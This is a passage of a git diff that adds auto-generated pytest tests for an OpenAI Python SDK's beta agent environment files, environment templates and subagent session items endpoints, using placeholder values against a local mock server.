+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_create_overload_1(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `environment_id` but received ''"):
+ client.beta.agents.environments.files.with_raw_response.create(
+ environment_id="",
+ file_id="x",
+ path="x",
+ type="file_id",
+ )
+
+ @parametrize
+ def test_method_create_overload_2(self, client: OpenAI) -> None:
+ file = client.beta.agents.environments.files.create(
+ environment_id="environment_id",
+ data="data",
+ path="x",
+ type="inline",
+ )
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ @parametrize
+ def test_raw_response_create_overload_2(self, client: OpenAI) -> None:
+ response = client.beta.agents.environments.files.with_raw_response.create(
+ environment_id="environment_id",
+ data="data",
+ path="x",
+ type="inline",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ file = response.parse()
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create_overload_2(self, client: OpenAI) -> None:
+ with client.beta.agents.environments.files.with_streaming_response.create(
+ environment_id="environment_id",
+ data="data",
+ path="x",
+ type="inline",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ file = response.parse()
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_create_overload_2(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `environment_id` but received ''"):
+ client.beta.agents.environments.files.with_raw_response.create(
+ environment_id="",
+ data="data",
+ path="x",
+ type="inline",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ file = client.beta.agents.environments.files.list(
+ environment_id="environment_id",
+ )
+ assert_matches_type(SyncTokenPage[EnvironmentFile], file, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ file = client.beta.agents.environments.files.list(
+ environment_id="environment_id",
+ limit=1,
+ order="asc",
+ page="page",
+ path="path",
+ )
+ assert_matches_type(SyncTokenPage[EnvironmentFile], file, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.environments.files.with_raw_response.list(
+ environment_id="environment_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ file = response.parse()
+ assert_matches_type(SyncTokenPage[EnvironmentFile], file, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.environments.files.with_streaming_response.list(
+ environment_id="environment_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ file = response.parse()
+ assert_matches_type(SyncTokenPage[EnvironmentFile], file, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `environment_id` but received ''"):
+ client.beta.agents.environments.files.with_raw_response.list(
+ environment_id="",
+ )
+
+
+class TestAsyncFiles:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create_overload_1(self, async_client: AsyncOpenAI) -> None:
+ file = await async_client.beta.agents.environments.files.create(
+ environment_id="environment_id",
+ file_id="x",
+ path="x",
+ type="file_id",
+ )
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create_overload_1(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.environments.files.with_raw_response.create(
+ environment_id="environment_id",
+ file_id="x",
+ path="x",
+ type="file_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ file = response.parse()
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create_overload_1(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.environments.files.with_streaming_response.create(
+ environment_id="environment_id",
+ file_id="x",
+ path="x",
+ type="file_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ file = await response.parse()
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_create_overload_1(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `environment_id` but received ''"):
+ await async_client.beta.agents.environments.files.with_raw_response.create(
+ environment_id="",
+ file_id="x",
+ path="x",
+ type="file_id",
+ )
+
+ @parametrize
+ async def test_method_create_overload_2(self, async_client: AsyncOpenAI) -> None:
+ file = await async_client.beta.agents.environments.files.create(
+ environment_id="environment_id",
+ data="data",
+ path="x",
+ type="inline",
+ )
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create_overload_2(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.environments.files.with_raw_response.create(
+ environment_id="environment_id",
+ data="data",
+ path="x",
+ type="inline",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ file = response.parse()
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create_overload_2(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.environments.files.with_streaming_response.create(
+ environment_id="environment_id",
+ data="data",
+ path="x",
+ type="inline",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ file = await response.parse()
+ assert_matches_type(EnvironmentFile, file, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_create_overload_2(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `environment_id` but received ''"):
+ await async_client.beta.agents.environments.files.with_raw_response.create(
+ environment_id="",
+ data="data",
+ path="x",
+ type="inline",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ file = await async_client.beta.agents.environments.files.list(
+ environment_id="environment_id",
+ )
+ assert_matches_type(AsyncTokenPage[EnvironmentFile], file, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ file = await async_client.beta.agents.environments.files.list(
+ environment_id="environment_id",
+ limit=1,
+ order="asc",
+ page="page",
+ path="path",
+ )
+ assert_matches_type(AsyncTokenPage[EnvironmentFile], file, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.environments.files.with_raw_response.list(
+ environment_id="environment_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ file = response.parse()
+ assert_matches_type(AsyncTokenPage[EnvironmentFile], file, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.environments.files.with_streaming_response.list(
+ environment_id="environment_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ file = await response.parse()
+ assert_matches_type(AsyncTokenPage[EnvironmentFile], file, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `environment_id` but received ''"):
+ await async_client.beta.agents.environments.files.with_raw_response.list(
+ environment_id="",
+ )
diff --git a/tests/api_resources/beta/agents/environments/test_templates.py b/tests/api_resources/beta/agents/environments/test_templates.py
new file mode 100644
index 0000000000..554e7fb079
--- /dev/null
+++ b/tests/api_resources/beta/agents/environments/test_templates.py
@@ -0,0 +1,588 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta.agents.environments import (
+ EnvironmentTemplate,
+ EnvironmentTemplateDeleted,
+)
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestTemplates:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create(self, client: OpenAI) -> None:
+ template = client.beta.agents.environments.templates.create()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ def test_method_create_with_all_params(self, client: OpenAI) -> None:
+ template = client.beta.agents.environments.templates.create(
+ capability_directories=["string"],
+ env={"foo": "string"},
+ files=[
+ {
+ "file_id": "x",
+ "path": "x",
+ "type": "file_id",
+ }
+ ],
+ name="x",
+ network={
+ "access": "enabled",
+ "allowed_domains": ["string"],
+ },
+ packages={
+ "npm": ["string"],
+ "python": ["string"],
+ "system": ["string"],
+ },
+ plugins=[
+ {
+ "description": "description",
+ "name": "x",
+ "source": {
+ "data": "x",
+ "media_type": "application/zip",
+ "type": "base64",
+ },
+ "type": "inline",
+ }
+ ],
+ setup_commands=[
+ {
+ "command": "command",
+ "cwd": "cwd",
+ }
+ ],
+ skills=[
+ {
+ "skill_id": "x",
+ "type": "skill_reference",
+ "version": "version",
+ }
+ ],
+ )
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ def test_raw_response_create(self, client: OpenAI) -> None:
+ response = client.beta.agents.environments.templates.with_raw_response.create()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create(self, client: OpenAI) -> None:
+ with client.beta.agents.environments.templates.with_streaming_response.create() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ template = client.beta.agents.environments.templates.retrieve(
+ "environment_template_id",
+ )
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.environments.templates.with_raw_response.retrieve(
+ "environment_template_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.environments.templates.with_streaming_response.retrieve(
+ "environment_template_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(
+ ValueError, match=r"Expected a non-empty value for `environment_template_id` but received ''"
+ ):
+ client.beta.agents.environments.templates.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ def test_method_update(self, client: OpenAI) -> None:
+ template = client.beta.agents.environments.templates.update(
+ environment_template_id="environment_template_id",
+ )
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ def test_method_update_with_all_params(self, client: OpenAI) -> None:
+ template = client.beta.agents.environments.templates.update(
+ environment_template_id="environment_template_id",
+ capability_directories=["string"],
+ env={"foo": "string"},
+ files=[
+ {
+ "file_id": "x",
+ "path": "x",
+ "type": "file_id",
+ }
+ ],
+ name="x",
+ network={
+ "access": "enabled",
+ "allowed_domains": ["string"],
+ },
+ packages={
+ "npm": ["string"],
+ "python": ["string"],
+ "system": ["string"],
+ },
+ plugins=[
+ {
+ "description": "description",
+ "name": "x",
+ "source": {
+ "data": "x",
+ "media_type": "application/zip",
+ "type": "base64",
+ },
+ "type": "inline",
+ }
+ ],
+ setup_commands=[
+ {
+ "command": "command",
+ "cwd": "cwd",
+ }
+ ],
+ skills=[
+ {
+ "skill_id": "x",
+ "type": "skill_reference",
+ "version": "version",
+ }
+ ],
+ )
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ def test_raw_response_update(self, client: OpenAI) -> None:
+ response = client.beta.agents.environments.templates.with_raw_response.update(
+ environment_template_id="environment_template_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ def test_streaming_response_update(self, client: OpenAI) -> None:
+ with client.beta.agents.environments.templates.with_streaming_response.update(
+ environment_template_id="environment_template_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_update(self, client: OpenAI) -> None:
+ with pytest.raises(
+ ValueError, match=r"Expected a non-empty value for `environment_template_id` but received ''"
+ ):
+ client.beta.agents.environments.templates.with_raw_response.update(
+ environment_template_id="",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ template = client.beta.agents.environments.templates.list()
+ assert_matches_type(SyncCursorPage[EnvironmentTemplate], template, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ template = client.beta.agents.environments.templates.list(
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[EnvironmentTemplate], template, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.environments.templates.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(SyncCursorPage[EnvironmentTemplate], template, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.environments.templates.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = response.parse()
+ assert_matches_type(SyncCursorPage[EnvironmentTemplate], template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_delete(self, client: OpenAI) -> None:
+ template = client.beta.agents.environments.templates.delete(
+ "environment_template_id",
+ )
+ assert_matches_type(EnvironmentTemplateDeleted, template, path=["response"])
+
+ @parametrize
+ def test_raw_response_delete(self, client: OpenAI) -> None:
+ response = client.beta.agents.environments.templates.with_raw_response.delete(
+ "environment_template_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplateDeleted, template, path=["response"])
+
+ @parametrize
+ def test_streaming_response_delete(self, client: OpenAI) -> None:
+ with client.beta.agents.environments.templates.with_streaming_response.delete(
+ "environment_template_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplateDeleted, template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_delete(self, client: OpenAI) -> None:
+ with pytest.raises(
+ ValueError, match=r"Expected a non-empty value for `environment_template_id` but received ''"
+ ):
+ client.beta.agents.environments.templates.with_raw_response.delete(
+ "",
+ )
+
+
+class TestAsyncTemplates:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
+ template = await async_client.beta.agents.environments.templates.create()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ template = await async_client.beta.agents.environments.templates.create(
+ capability_directories=["string"],
+ env={"foo": "string"},
+ files=[
+ {
+ "file_id": "x",
+ "path": "x",
+ "type": "file_id",
+ }
+ ],
+ name="x",
+ network={
+ "access": "enabled",
+ "allowed_domains": ["string"],
+ },
+ packages={
+ "npm": ["string"],
+ "python": ["string"],
+ "system": ["string"],
+ },
+ plugins=[
+ {
+ "description": "description",
+ "name": "x",
+ "source": {
+ "data": "x",
+ "media_type": "application/zip",
+ "type": "base64",
+ },
+ "type": "inline",
+ }
+ ],
+ setup_commands=[
+ {
+ "command": "command",
+ "cwd": "cwd",
+ }
+ ],
+ skills=[
+ {
+ "skill_id": "x",
+ "type": "skill_reference",
+ "version": "version",
+ }
+ ],
+ )
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.environments.templates.with_raw_response.create()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.environments.templates.with_streaming_response.create() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = await response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ template = await async_client.beta.agents.environments.templates.retrieve(
+ "environment_template_id",
+ )
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.environments.templates.with_raw_response.retrieve(
+ "environment_template_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.environments.templates.with_streaming_response.retrieve(
+ "environment_template_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = await response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(
+ ValueError, match=r"Expected a non-empty value for `environment_template_id` but received ''"
+ ):
+ await async_client.beta.agents.environments.templates.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ async def test_method_update(self, async_client: AsyncOpenAI) -> None:
+ template = await async_client.beta.agents.environments.templates.update(
+ environment_template_id="environment_template_id",
+ )
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ async def test_method_update_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ template = await async_client.beta.agents.environments.templates.update(
+ environment_template_id="environment_template_id",
+ capability_directories=["string"],
+ env={"foo": "string"},
+ files=[
+ {
+ "file_id": "x",
+ "path": "x",
+ "type": "file_id",
+ }
+ ],
+ name="x",
+ network={
+ "access": "enabled",
+ "allowed_domains": ["string"],
+ },
+ packages={
+ "npm": ["string"],
+ "python": ["string"],
+ "system": ["string"],
+ },
+ plugins=[
+ {
+ "description": "description",
+ "name": "x",
+ "source": {
+ "data": "x",
+ "media_type": "application/zip",
+ "type": "base64",
+ },
+ "type": "inline",
+ }
+ ],
+ setup_commands=[
+ {
+ "command": "command",
+ "cwd": "cwd",
+ }
+ ],
+ skills=[
+ {
+ "skill_id": "x",
+ "type": "skill_reference",
+ "version": "version",
+ }
+ ],
+ )
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ async def test_raw_response_update(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.environments.templates.with_raw_response.update(
+ environment_template_id="environment_template_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_update(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.environments.templates.with_streaming_response.update(
+ environment_template_id="environment_template_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = await response.parse()
+ assert_matches_type(EnvironmentTemplate, template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_update(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(
+ ValueError, match=r"Expected a non-empty value for `environment_template_id` but received ''"
+ ):
+ await async_client.beta.agents.environments.templates.with_raw_response.update(
+ environment_template_id="",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ template = await async_client.beta.agents.environments.templates.list()
+ assert_matches_type(AsyncCursorPage[EnvironmentTemplate], template, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ template = await async_client.beta.agents.environments.templates.list(
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[EnvironmentTemplate], template, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.environments.templates.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(AsyncCursorPage[EnvironmentTemplate], template, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.environments.templates.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = await response.parse()
+ assert_matches_type(AsyncCursorPage[EnvironmentTemplate], template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
+ template = await async_client.beta.agents.environments.templates.delete(
+ "environment_template_id",
+ )
+ assert_matches_type(EnvironmentTemplateDeleted, template, path=["response"])
+
+ @parametrize
+ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.environments.templates.with_raw_response.delete(
+ "environment_template_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ template = response.parse()
+ assert_matches_type(EnvironmentTemplateDeleted, template, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.environments.templates.with_streaming_response.delete(
+ "environment_template_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ template = await response.parse()
+ assert_matches_type(EnvironmentTemplateDeleted, template, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(
+ ValueError, match=r"Expected a non-empty value for `environment_template_id` but received ''"
+ ):
+ await async_client.beta.agents.environments.templates.with_raw_response.delete(
+ "",
+ )
diff --git a/tests/api_resources/beta/agents/sessions/__init__.py b/tests/api_resources/beta/agents/sessions/__init__.py
new file mode 100644
index 0000000000..d7a8b19970
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/__init__.py
@@ -0,0 +1 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/agents/sessions/subagents/__init__.py b/tests/api_resources/beta/agents/sessions/subagents/__init__.py
new file mode 100644
index 0000000000..d7a8b19970
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/subagents/__init__.py
@@ -0,0 +1 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/agents/sessions/subagents/test_items.py b/tests/api_resources/beta/agents/sessions/subagents/test_items.py
new file mode 100644
index 0000000000..3efe244583
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/subagents/test_items.py
@@ -0,0 +1,143 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta import AgentSessionItem
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestItems:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ item = client.beta.agents.sessions.subagents.items.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ item = client.beta.agents.sessions.subagents.items.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.subagents.items.with_raw_response.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ item = response.parse()
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.subagents.items.with_streaming_response.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ item = response.parse()
+ assert_matches_type(SyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.subagents.items.with_raw_response.list(
+ subagent_id="subagent_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ client.beta.agents.sessions.subagents.items.with_raw_response.list(
+ subagent_id="",
+ session_id="session_id",
+ )
+
+
+class TestAsyncItems:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ item = await async_client.beta.agents.sessions.subagents.items.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ item = await async_client.beta.agents.sessions.subagents.items.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.subagents.items.with_raw_response.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ item = response.parse()
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.subagents.items.with_streaming_response.list(
+ subagent_id="subagent_id",
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ item = await response.parse()
+ assert_matches_type(AsyncCursorPage[AgentSessionItem], item, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.items.with_raw_response.list(
+ subagent_id="subagent_id",
+ session_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `subagent_id` but received ''"):
+ await async_client.beta.agents.sessions.subagents.items.with_raw_response.list(
+ subagent_id="",
+ session_id="session_id",
+ )
diff --git a/tests/api_resources/beta/agents/sessions/subagents/test_turns.py b/tests/api_resources/beta/agents/sessions/subagents/test_turns.py
new file mode 100644
index 0000000000..8b3a2f1628
--- /dev/null
+++ b/tests/api_resources/beta/agents/sessions/subagents/test_turns.py
@@ -0,0 +1,263 @@
